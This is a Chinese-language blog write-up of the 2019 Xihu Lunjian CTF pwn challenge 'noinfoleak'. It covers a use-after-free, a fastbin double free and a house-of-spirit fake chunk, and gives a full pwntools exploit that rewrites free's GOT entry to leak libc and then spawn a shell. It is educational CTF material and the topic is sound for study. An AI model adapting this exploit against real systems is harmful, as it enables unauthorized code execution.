2019-04-19 | UNLOCK

2019-4-18-noinfoleak

2019西湖论剑杯pwn-noinfoleak

这题在比赛的时候没能做出来,借着这道题学习一下fastbin attack的doublefree和house of spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+1Ch] [rbp-4h]

sub_400846();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
putchar(62);
v4 = sub_4008A7();
if ( v4 != 1 )
break;
add();
}
if ( v4 != 2 )
break;
delete();
}
if ( v4 != 3 )
break;
edit();
}
if ( v4 == 4 )
break;
puts("No Such Choice");
}
return 0LL;
}

题目逻辑很清楚,就三个功能,添加表,编辑表,删除表,漏洞在删除表

1
2
3
4
5
6
7
8
9
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]

putchar(62);
v0 = sub_4008A7();
if ( v0 >= 0 && v0 <= 15 )
free(qword_6010A0[2 * v0]);//free后没有置0,存在uaf
}

这里可以使用fastbin的double free实现任意地址写,大致原理就是:fastbin是一个后进先出(LIFO)的单向链表,chunk大小包含16-80byte,只有一个fd指针,当我们malloc两个chunk,然后按照第一、第二、第一的顺序free,就会发现两个chunk的fd各自指向对方,这就存在double free。
这时候只要使用house of spirit技术,也就是申请相同大小的栈,并且加上数据fake_chunk_addr,然后接着再连续申请两次,第四次申请的时候就会把fake_chunk_addr作为一个chunk分配给你。
fake_chunk_addr只要满足几个条件,其中一个是fake_chunk_addr的size段要符合fastbin,而且要满足malloc的要求,这一题只需要知道这两点(其它条件我一时搞不明白),这里所谓的double free就是两次free同一个chunk从而能分配到一个fake_chunk,但是不能连续free同一个chunk两个,这会触发警报,而且free的chunk的fd不能指向自身。
这一题我们会发现在index数组(0x6010a0)的上方0x60108d处有一个0x7f,正好符合fastbin的size,我们可以利用double free使得(0x60108d-8)进入index数组,然后通过edit函数对(0x60108d-8)进行写入,然后就能随意地修改index数组,让各个index指向我们想要的地址。
虽然能进行任意写了,但是这题没有能泄露信息的函数,这就需要我们自己构造info leak了,其中一个方法是把已有的函数比如free的got表内容改成puts_plt,这样调用free时就会变成free->free_plt->free_got->puts_plt->puts_got(这里的原理我不清楚),从而调用puts,这时候index数组的地址值原本是在delete函数中作为free的参数的,现在变成了puts的参数,因此我们可以把puts_got的值通过之前的house of spirit放入index数组中,然后更改free_got表,之后调用delete函数就能泄露出puts的实际地址了(got表中存储着函数的真实地址),然后就能计算base_addr,之后得到system_addr,把free_got的内容再修改成system_addr的值,这时候add(0x20,”/bin/sh\00”),那么index数组里面就多出了一个/bin/sh字符串的地址,再调用delete就好了。
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level='debug'
#context.terminal = ["tmux", "splitw", "-h"]
sh=process('./noinfoleak')
elf=ELF('./noinfoleak')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
putsPlt=elf.plt['puts']
putsGot=elf.got['puts']
freeGot=elf.got['free']
log.info('puts:%x'%(putsPlt))
log.info('free:%x'%(freeGot))

def add(Size,context):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('>')
sh.sendline(str(Size))
sh.recvuntil('>')
sh.sendline(context)

def dele(idx):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('>')
sh.sendline(str(idx))

def edit(idx,context):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('>')
sh.sendline(str(idx))
sh.recvuntil('>')
sh.send(context)
gdb.attach(sh)
add(96,'aaaa') #0
add(96,'bbbb') #1

#double free
dele(0)
dele(1)
dele(0)

targetAddr=p64(0x60108d)

add(0x60,targetAddr) #2
add(0x60,'bbbb') #3
add(0x60,'cccc') #4
#fake chunk to bss
payload='\x00'*(3+16)+p64(freeGot)+p64(96)+p64(putsGot)+p64(96)
add(0x60,payload) #5
sleep(0.5)
edit(0,p64(putsPlt)) # freeGot->putsPlt

dele(1) #puts(putsAddr)
putsaddr=u64(sh.recv(6).ljust(8,'\0'))
log.info('putsAddr:%x'%(putsaddr))
libcAddr=putsaddr-libc.symbols['puts']
log.info('libcAddr:%x'%(libcAddr))
systemAddr=libcAddr+libc.symbols['system']
log.info('systemAddr:%x'%(systemAddr))

edit(0,p64(systemAddr)) # freeGot->system
add(0x30,'/bin/sh\x00') #6
dele(6) # system('/bin/sh')

sh.interactive()

该脚本来自 https://blog.tangent.ink/
我只做了很小的修改以适应我系统的堆栈,网上找的脚本没有一个能在我kali本地跑的,也不懂得为什么,因为20还有一场比赛,所以对fastbin attack的学习先到这里。
遗留困惑:
1、double free到底能分配什么样的地址?因为我实际很多地址不能用double free,都会直接在heap里给我分配。
2、house of spirit对fake chunk的审查机制具体是怎么样的?为什么0x7f可以满足对size的检查,这里我有查到一篇 https://www.jianshu.com/p/1c4fab29ea34 讲了自己实验的几个size,似乎后四位是f就能满足size的检查了?具体我也不太明白,因为我自己实验的0x60不知道为什么不能满足。
3、got、plt我虽然有经过学习,但是实际具体的函数是怎样的我并没有完全弄清,像这次的连续两次plt got我就不理解是怎么实现的,按理来说got表里应该是实际地址,希望之后阅读《程序员的自我修养》能理解这一点
4、在我看的七八个EXP里,有用到unsortbin、IO_FILE、uaf等技术,因为我实验了好久都难以复现,所以留在困惑里。

评论加载中